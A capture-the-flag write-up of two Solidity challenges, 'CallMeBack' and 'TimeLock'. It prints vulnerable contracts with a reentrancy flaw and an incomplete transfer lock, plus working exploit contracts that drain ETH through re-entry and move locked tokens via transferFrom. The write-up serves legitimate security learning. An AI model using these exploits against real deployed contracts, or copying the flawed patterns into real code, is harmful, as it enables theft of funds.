CallMeBack

Author: x0rc1ph3r
Category: Blockchain

CallMeBack.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// SPDX-License-Identifier: MIT

pragma solidity ^0.6.0;

contract CallMeBack {

mapping(address => uint256) public balances;

function donate() public payable {
balances[msg.sender] += msg.value;
}

function balanceOf(address _who) public view returns (uint256 balance) {
return balances[_who];
}

function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool success,) = msg.sender.call{value: _amount}("");
require(success, "ETH transfer failed");
balances[msg.sender] -= _amount;
}
}

receive() external payable {}
}

Challenge.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.0;

import "src/CallMeBack.sol";

contract Challenge {
address public immutable PLAYER;
CallMeBack public immutable CONTRACT;

bool private solved;

constructor(address player, address _contract) public {
PLAYER = player;

CONTRACT = CallMeBack(payable(_contract));
}

function solve() external {
require(address(PLAYER).balance > 10 ether, "NOT_ENOUGH_ETHER");
solved = true;
}

function isSolved() external view returns (bool) {
return solved;
}
}

Here is the exploit code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "./Challenge.sol";

contract Solve{

Challenge public chal = Challenge(address(<CHALLENGE_ADDRESS>));
CallMeBack CONTRACT = chal.CONTRACT();

function exploit() public payable {
(bool status, ) = address(CONTRACT).call.value(1 ether)(abi.encodeWithSignature("donate()"));
CONTRACT.withdraw(1 ether);
payable(msg.sender).send(address(this).balance);
}

receive() external payable{
if(address(this).balance < 2 ether){
CONTRACT.withdraw(1 ether);
}
}
}

Solve.png

TimeLock

Author: x0rc1ph3r
Category: Blockchain

TimeLock.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract Timelock is ERC20 {
uint256 public timeLock = block.timestamp + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;

constructor(address _player) ERC20("NaughtCoin", "0x0") {
player = _player;
INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals()));
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}

function transfer(address _to, uint256 _value) public override lockTokens returns (bool) {
super.transfer(_to, _value);
}

// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(block.timestamp > timeLock);
_;
}
}
}

Challenge.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "src/Timelock.sol";

contract Challenge {
address public immutable PLAYER;
Timelock public immutable CONTRACT;

bool private solved;

constructor(address player, address _contract) public {
PLAYER = player;

CONTRACT = Timelock(payable(_contract));
}

function solve() external {
require(CONTRACT.balanceOf(PLAYER) == 0, "COINS_NOT_SPENT");
solved = true;
}

function isSolved() external view returns (bool) {
return solved;
}
}

Approve.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "./Challenge.sol";

contract Solve{

Challenge public chal = Challenge(address(<CHALLENGE_ADDRESS>));
Timelock t = chal.CONTRACT();

function exploit() public {
t.transferFrom(t.player(), address(this),t.INITIAL_SUPPLY());
}
}

Solve2.png

Concluding Thoughts

This was my first time trying an onchain CTF and it was a great experience overall. Learnt lots of new things like using a custom network to solve the challenge, interacting with attacker account using a private key, etc. Looking forward to more such CTFs in future.